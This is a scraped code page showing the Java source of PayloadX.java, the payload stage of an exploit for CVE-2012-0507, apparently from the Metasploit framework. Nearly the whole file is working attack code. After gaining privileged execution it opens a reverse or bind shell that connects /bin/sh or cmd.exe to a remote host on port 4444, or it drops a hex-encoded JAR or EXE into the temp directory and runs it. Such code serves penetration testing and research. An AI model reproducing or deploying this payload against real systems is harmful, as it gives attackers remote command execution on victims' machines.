Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2012-0507/msf/x/PayloadX.java
Views: 11789
package msf.x;12import java.io.BufferedReader;3import java.io.BufferedWriter;4import java.io.File;5import java.io.FileOutputStream;6import java.io.InputStream;7import java.io.InputStreamReader;8import java.io.OutputStream;9import java.io.OutputStreamWriter;10import java.net.ServerSocket;11import java.net.Socket;12import java.security.AccessController;13import java.security.PrivilegedExceptionAction;1415public class PayloadX implements PrivilegedExceptionAction16{17// This will contain a hex string of the native payload to drop and execute.18public static String data = null;19public static String jar = null;20// If no native payload is set we get either a java bind shell or a java21// reverse shell.22public static String lhost = null;23public static int lport = 4444;2425class StreamConnector extends Thread26{27InputStream is;28OutputStream os;2930StreamConnector( InputStream is, OutputStream os )31{32this.is = is;33this.os = os;34}3536public void run()37{38BufferedReader in = null;39BufferedWriter out = null;4041try42{43in = new BufferedReader( new InputStreamReader( is ) );44out = new BufferedWriter( new OutputStreamWriter( os ) );45char buffer[] = new char[8192];46int length;47while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )48{49out.write( buffer, 0, length );50out.flush();51}52}53catch( Exception e ) {}5455try56{57if( in != null )58in.close();59if( out != null )60out.close();61}62catch( Exception e ) {}63}64}6566// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java67public static byte[] StringToBytes( String s )68{69byte[] data = new byte[s.length() / 2];7071for( int i = 0 ; i < s.length() ; i += 2 )72data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );7374return data;75}7677public Object run() throws Exception78{79//System.out.println("Running");80// if the native payload data has not been set just return for now, it81// will be set by the next time we reach here.82if( PayloadX.data == null && PayloadX.jar == null )83return null;84//System.out.println("have either data or jar");8586try87{88String os = System.getProperty( "os.name" );8990//System.out.println("OS: " + os);91// if we have no native payload to drop and execute we default to92// either a TCP bind or reverse shell.93if(94(PayloadX.data == null || PayloadX.data.length() == 0) &&95(PayloadX.jar == null || PayloadX.jar.length() == 0)96) {97//System.out.println("no, exe/jar. Doing shell");98Socket client_socket = null;99100String shell = "/bin/sh";101102if( os.indexOf( "Windows" ) >= 0 )103shell = "cmd.exe";104105if( PayloadX.lhost == null )106{107ServerSocket server_socket = new ServerSocket( PayloadX.lport );108client_socket = server_socket.accept();109}110else111{112client_socket = new Socket( PayloadX.lhost, PayloadX.lport );113}114115if( client_socket != null )116{117Process process = exec( shell );118if( process != null )119{120( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();121( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();122}123}124}125else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )126{127//System.out.println("Dropping JAR");128String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";129130writeFile( path, StringToBytes( PayloadX.jar ) );131exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");132}133else134{135//System.out.println("Dropping EXE");136String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";137138writeFile( path, StringToBytes( PayloadX.data ) );139if( os.indexOf( "Windows" ) < 0 )140{141exec( "chmod 755 " + path );142}143exec( path );144new File( path ).delete();145}146}147catch( Exception e ) {148//System.out.println(e);149}150151return null;152}153154public Process exec( String path )155{156Process p = null;157//System.out.println( "Executing" );158try {159p = Runtime.getRuntime().exec( path );160if( p == null )161{162//System.out.println( "Null process, crap" );163}164p.waitFor();165} catch( Exception e ) {166//System.out.println(e);167}168return p;169}170171public void writeFile( String path, byte[] data )172{173//System.out.println( "Writing file" );174try {175FileOutputStream fos = new FileOutputStream( path );176177fos.write( data );178fos.close();179} catch( Exception e ) {180//System.out.println(e);181}182}183184public PayloadX()185{186try187{188AccessController.doPrivileged( this );189}190catch( Exception e ) {191//System.out.println(e);192}193}194}195196197